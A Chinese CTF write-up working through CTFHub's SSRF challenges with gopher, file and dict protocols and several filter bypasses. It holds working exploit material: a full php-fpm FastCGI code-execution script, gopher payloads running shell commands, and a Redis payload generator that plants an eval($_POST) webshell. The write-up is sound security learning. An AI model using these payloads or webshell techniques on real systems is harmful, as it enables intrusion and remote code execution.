主要学习一下内网中各种常用的协议,一步步来
前言
SSRF漏洞的主要成因主要是因为Web应用程序对用户提供的URL和远端服务器返回的信息没有进行合适的验证和过滤
攻击者利用SSRF可以实现的攻击如下:
- 可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息;
- 攻击运行在内网或本地的应用程序(比如溢出);
- 对内网web应用进行指纹识别,通过访问默认文件实现;
- 攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2,sqli等);
- 利用file协议读取本地文件等。
CTFHub上的题
内网访问
题目提示尝试访问位于127.0.0.1的flag.php吧
http协议直接读了
?url=http://127.0.0.1/flag.php
伪协议读取文件
题目提示尝试去读取一下Web目录下的flag.php吧
file协议读取文件,需要绝对路径
?url=file:///var/www/html/flag.php
我们可以再读一下index.php看看漏洞代码,代码如下:
<?php
error_reporting(0);
if (!isset($_REQUEST['url'])){
header("Location: /?url=_");
exit;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
可以看到,这里使用的是PHP cURL
函数来进行数据的获取,具体可参考 -> PHP cURL 函数
支持http、https、ftp、gopher、telnet、dict、file和ldap协议
端口扫描
题目提示来来来性感CTFHub在线扫端口,据说端口范围是8000-9000哦
http请求,放到bp里跑一下端口即可,当然也可以先用dict协议来进行端口探测,然后再使用http来访问内容
?url=http://127.0.0.1:8704
POST请求
题目提示这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.加油吧骚年
扫描结果如下
访问flag.php提示Just View From 127.0.0.1
利用SSRF请求
另外用file可以读到源码
flag.php
<?php
error_reporting(0);
if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
echo "Just View From 127.0.0.1";
return;
}
$flag=getenv("CTFHUB");
$key = md5($flag);
if (isset($_POST["key"]) && $_POST["key"] == $key) {
echo $flag;
exit;
}
?>
<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=<?php echo $key;?>-->
</form>
可以看到需要POST一个key,并且key要等于md5(flag),才可以拿到flag,并且需要$_SERVER["REMOTE_ADDR"] == "127.0.0.1"
key前面是拿到了的,为bacd40b119dfa24fa24640331508799f
于是利用gopher
协议发包
数据包为
POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=bacd40b119dfa24fa24640331508799f
用python请求,exp如下
import urllib.parse
import requests
url = "http://challenge-27a1758eb0df6f71.sandbox.ctfhub.com:10800/?url="
payload =\
"""POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=bacd40b119dfa24fa24640331508799f
"""
#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result) # 这里因为是GET请求所以要进行两次url编码
r = requests.get(url=url+result)
print(r.text)
gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253Dbacd40b119dfa24fa24640331508799f%250D%250A
请求结果如下
上传文件
题目提示这次需要上传一个文件到flag.php了.祝你好运
http请求一下flag.php
file读下源码
<?php
error_reporting(0);
if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
echo "Just View From 127.0.0.1";
return;
}
if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){
echo getenv("CTFHUB");
exit;
}
?>
Upload Webshell
<form action="/flag.php" method="post" enctype="multipart/form-data">
<input type="file" name="file">
</form>
写个文件上传的表单
<form enctype="multipart/form-data" action="http://127.0.0.1/flag.php" method="post">
<input type="file" name="NewFile" size="50"><br>
<input id="upload" type="submit" value="Upload">
</form>
随便传个文件把包抓下来
数据包为
POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 182
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqFOX61XFhjO2CFJN
------WebKitFormBoundaryqFOX61XFhjO2CFJN
Content-Disposition: form-data; name="file"; filename="1.png"
Content-Type: image/png
abcd
------WebKitFormBoundaryqFOX61XFhjO2CFJN--
还是和上一个一样,exp如下
import urllib.parse
import requests
url = "http://challenge-db30f38f11747128.sandbox.ctfhub.com:10800/?url="
payload =\
"""POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 182
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqFOX61XFhjO2CFJN
------WebKitFormBoundaryqFOX61XFhjO2CFJN
Content-Disposition: form-data; name="file"; filename="1.png"
Content-Type: image/png
abcd
------WebKitFormBoundaryqFOX61XFhjO2CFJN--
"""
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)
r = requests.get(url=url+result)
print(r.text)
gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Length%253A%2520182%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D----WebKitFormBoundaryqFOX61XFhjO2CFJN%250D%250A%250D%250A------WebKitFormBoundaryqFOX61XFhjO2CFJN%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%25221.png%2522%250D%250AContent-Type%253A%2520image/png%250D%250A%250D%250Aabcd%250D%250A------WebKitFormBoundaryqFOX61XFhjO2CFJN--%250D%250A
请求结果如下
FastCGI协议
题目提示这次.我们需要攻击一下fastcgi协议咯.也许附件的文章会对你有点帮助
直接看P🐮的这个 https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html
利用方法参考 https://bbs.ichunqiu.com/thread-58455-1-1.html
理解原理后直接利用,利用脚本地址 https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
我这里放这存一个
import socket
import random
import argparse
import sys
from io import BytesIO
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
PY2 = True if sys.version_info.major == 2 else False
def bchr(i):
if PY2:
return force_bytes(chr(i))
else:
return bytes([i])
def bord(c):
if isinstance(c, int):
return c
else:
return ord(c)
def force_bytes(s):
if isinstance(s, bytes):
return s
else:
return s.encode('utf-8', 'strict')
def force_text(s):
if issubclass(type(s), str):
return s
if isinstance(s, bytes):
s = str(s, 'utf-8', 'strict')
else:
s = str(s)
return s
class FastCGIClient:
"""A Fast-CGI Client for Python"""
# private
__FCGI_VERSION = 1
__FCGI_ROLE_RESPONDER = 1
__FCGI_ROLE_AUTHORIZER = 2
__FCGI_ROLE_FILTER = 3
__FCGI_TYPE_BEGIN = 1
__FCGI_TYPE_ABORT = 2
__FCGI_TYPE_END = 3
__FCGI_TYPE_PARAMS = 4
__FCGI_TYPE_STDIN = 5
__FCGI_TYPE_STDOUT = 6
__FCGI_TYPE_STDERR = 7
__FCGI_TYPE_DATA = 8
__FCGI_TYPE_GETVALUES = 9
__FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11
__FCGI_HEADER_SIZE = 8
# request state
FCGI_STATE_SEND = 1
FCGI_STATE_ERROR = 2
FCGI_STATE_SUCCESS = 3
def __init__(self, host, port, timeout, keepalive):
self.host = host
self.port = port
self.timeout = timeout
if keepalive:
self.keepalive = 1
else:
self.keepalive = 0
self.sock = None
self.requests = dict()
def __connect(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# if self.keepalive:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
# else:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
try:
self.sock.connect((self.host, int(self.port)))
except socket.error as msg:
self.sock.close()
self.sock = None
print(repr(msg))
return False
return True
def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
length = len(content)
buf = bchr(FastCGIClient.__FCGI_VERSION) \
+ bchr(fcgi_type) \
+ bchr((requestid >> 8) & 0xFF) \
+ bchr(requestid & 0xFF) \
+ bchr((length >> 8) & 0xFF) \
+ bchr(length & 0xFF) \
+ bchr(0) \
+ bchr(0) \
+ content
return buf
def __encodeNameValueParams(self, name, value):
nLen = len(name)
vLen = len(value)
record = b''
if nLen < 128:
record += bchr(nLen)
else:
record += bchr((nLen >> 24) | 0x80) \
+ bchr((nLen >> 16) & 0xFF) \
+ bchr((nLen >> 8) & 0xFF) \
+ bchr(nLen & 0xFF)
if vLen < 128:
record += bchr(vLen)
else:
record += bchr((vLen >> 24) | 0x80) \
+ bchr((vLen >> 16) & 0xFF) \
+ bchr((vLen >> 8) & 0xFF) \
+ bchr(vLen & 0xFF)
return record + name + value
def __decodeFastCGIHeader(self, stream):
header = dict()
header['version'] = bord(stream[0])
header['type'] = bord(stream[1])
header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
header['paddingLength'] = bord(stream[6])
header['reserved'] = bord(stream[7])
return header
def __decodeFastCGIRecord(self, buffer):
header = buffer.read(int(self.__FCGI_HEADER_SIZE))
if not header:
return False
else:
record = self.__decodeFastCGIHeader(header)
record['content'] = b''
if 'contentLength' in record.keys():
contentLength = int(record['contentLength'])
record['content'] += buffer.read(contentLength)
if 'paddingLength' in record.keys():
skiped = buffer.read(int(record['paddingLength']))
return record
def request(self, nameValuePairs={}, post=''):
if not self.__connect():
print('connect failure! please check your fasctcgi-server !!')
return
requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = b""
beginFCGIRecordContent = bchr(0) \
+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
+ bchr(self.keepalive) \
+ bchr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = b''
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = force_bytes(value)
paramsRecord += self.__encodeNameValueParams(name, value)
if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
self.sock.send(request)
self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
self.requests[requestId]['response'] = b''
return self.__waitForResponse(requestId)
def __waitForResponse(self, requestId):
data = b''
while True:
buf = self.sock.recv(512)
if not len(buf):
break
data += buf
data = BytesIO(data)
while True:
response = self.__decodeFastCGIRecord(data)
if not response:
break
if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
if requestId == int(response['requestId']):
self.requests[requestId]['response'] += response['content']
if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
self.requests[requestId]
return self.requests[requestId]['response']
def __repr__(self):
return "fastcgi connect host:{} port:{}".format(self.host, self.port)
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
parser.add_argument('host', help='Target host, such as 127.0.0.1')
parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)
args = parser.parse_args()
client = FastCGIClient(args.host, args.port, 3, 0)
params = dict()
documentRoot = "/"
uri = args.file
content = args.code
params = {
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
'SCRIPT_NAME': uri,
'QUERY_STRING': '',
'REQUEST_URI': uri,
'DOCUMENT_ROOT': documentRoot,
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '9985',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1',
'CONTENT_TYPE': 'application/text',
'CONTENT_LENGTH': "%d" % len(content),
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
response = client.request(params, content)
print(force_text(response))
找flag:
python .\fpm.py "172.22.73.110" "/var/www/html/index.php" -c "<?php system('ls;ls /'); exit; ?>" -p 2333
wsl上监听2333端口用来接收flag,并将结果保存到fcg_exp.txt
文件
gopher%3A//127.0.0.1%3A9000/_%2501%2501%25E7%25F4%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%25E7%25F4%2501%25DB%2500%2500%2511%250BGATEWAY_INTERFACEFastCGI/1.0%250E%2504REQUEST_METHODPOST%250F%2517SCRIPT_FILENAME/var/www/html/index.php%250B%2517SCRIPT_NAME/var/www/html/index.php%250C%2500QUERY_STRING%250B%2517REQUEST_URI/var/www/html/index.php%250D%2501DOCUMENT_ROOT/%250F%250ESERVER_SOFTWAREphp/fcgiclient%250B%2509REMOTE_ADDR127.0.0.1%250B%2504REMOTE_PORT9985%250B%2509SERVER_ADDR127.0.0.1%250B%2502SERVER_PORT80%250B%2509SERVER_NAMElocalhost%250F%2508SERVER_PROTOCOLHTTP/1.1%250C%2510CONTENT_TYPEapplication/text%250E%2502CONTENT_LENGTH33%2509%251FPHP_VALUEauto_prepend_file%2520%253D%2520php%253A//input%250F%2516PHP_ADMIN_VALUEallow_url_include%2520%253D%2520On%2501%2504%25E7%25F4%2500%2500%2500%2500%2501%2505%25E7%25F4%2500%2521%2500%2500%253C%253Fphp%2520system%2528%2527ls%253Bls%2520/%2527%2529%253B%2520exit%253B%2520%253F%253E%2501%2505%25E7%25F4%2500%2500%2500%2500
然后再将文件读取出来得到有效的payload直接打
from urllib.parse import quote, unquote, urlencode
import requests
url = "http://challenge-3c0ef6982bf49126.sandbox.ctfhub.com:10800/?url="
file = open('fcg_exp.txt','rb')
payload = file.read()
result = quote("gopher://127.0.0.1:9000/_"+quote(payload).replace("%0A","%0D").replace("%2F","/"))
print(result)
r = requests.get(url=url+result)
print(r.text)
看到flag文件flag_488cfa9618a27d4323c5cf9791dd2bcc
最后直接读文件
python .\fpm.py "172.22.73.110" "/var/www/html/index.php" -c "<?php system('cat \'/flag_488cfa9618a27d4323c5cf9791dd2bcc\''); exit; ?>" -p 2333
gopher%3A//127.0.0.1%3A9000/_%2501%2501%2595%2594%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2595%2594%2501%25DB%2500%2500%2511%250BGATEWAY_INTERFACEFastCGI/1.0%250E%2504REQUEST_METHODPOST%250F%2517SCRIPT_FILENAME/var/www/html/index.php%250B%2517SCRIPT_NAME/var/www/html/index.php%250C%2500QUERY_STRING%250B%2517REQUEST_URI/var/www/html/index.php%250D%2501DOCUMENT_ROOT/%250F%250ESERVER_SOFTWAREphp/fcgiclient%250B%2509REMOTE_ADDR127.0.0.1%250B%2504REMOTE_PORT9985%250B%2509SERVER_ADDR127.0.0.1%250B%2502SERVER_PORT80%250B%2509SERVER_NAMElocalhost%250F%2508SERVER_PROTOCOLHTTP/1.1%250C%2510CONTENT_TYPEapplication/text%250E%2502CONTENT_LENGTH69%2509%251FPHP_VALUEauto_prepend_file%2520%253D%2520php%253A//input%250F%2516PHP_ADMIN_VALUEallow_url_include%2520%253D%2520On%2501%2504%2595%2594%2500%2500%2500%2500%2501%2505%2595%2594%2500E%2500%2500%253C%253Fphp%2520system%2528%2527find%2520/%2520-name%2520%255C%2527%252A%255C%2527%2520%257C%2520xargs%2520grep%2520%255C%2527ctfhub%257B%255C%2527%2527%2529%253B%2520exit%253B%2520%253F%253E%2501%2505%2595%2594%2500%2500%2500%2500
Redis协议
题目提示这次来攻击redis协议吧.redis://127.0.0.1:6379,资料?没有资料!自己找!
使用脚本生成payload,python2下跑
import urllib,requests
protocol="gopher://"
ip="127.0.0.1"
port="6379"
shell="\n\n<?php eval($_POST[\"shell\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
result = urllib.quote(payload)
print result
gopher%3A//127.0.0.1%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252434%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2522shell%2522%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A
将生成的结果直接传给url,访问
然后访问shell.php
可以看到成功写入,然后找flag,直接cat即可
URL Bypass
题目提示请求的URL中必须包含http://notfound.ctfhub.com,来尝试利用URL的一些特殊地方绕过这个限制吧
可以用@
绕过,http://whoami@127.0.0.1
实际上是以用户名 whoami
连接到站点127.0.0.1
payload
?url=http://notfound.ctfhub.com@127.0.0.1/flag.php
数字IP Bypass
题目提示这次ban掉了127以及172.不能使用点分十进制的IP了。但是又要访问127.0.0.1。该怎么办呢
可以用十进制绕过,当然也可以是用八进制或者十六进制,但是都需要用到.
?url=http://2130706433/flag.php
另外还有一种思路,利用其他各种指向127.0.0.1的地址
,学习了
http://localhost/
http://0/
http://[0:0:0:0:0:ffff:127.0.0.1]/
http://①②⑦.⓪.⓪.①
302跳转 Bypass
题目提示SSRF中有个很重要的一点是请求可能会跟随302跳转,尝试利用这个来绕过对IP的检测访问到位于127.0.0.1的flag.php吧
还是上面一样的方法直接绕了
另外还有一种方法,用短链接,http://4m.cn
DNS重绑定 Bypass
题目提示关键词:DNS重绑定。剩下的自己来吧,也许附件中的链接能有些帮助
附件给的链接:https://zhuanlan.zhihu.com/p/89426041
理解后实践
我们在 https://lock.cmpxchg8b.com/rebinder.html 这个网站上获取一个测试用的域名,当然这个网站目的就是用来测DNS重绑定漏洞的,拿到生成的域名7f000001.2f6aa0b0.rbndr.us
请求,如果是404就按F5刷新
若没有本文 Issue,您可以使用 Comment 模版新建。
GitHub Issues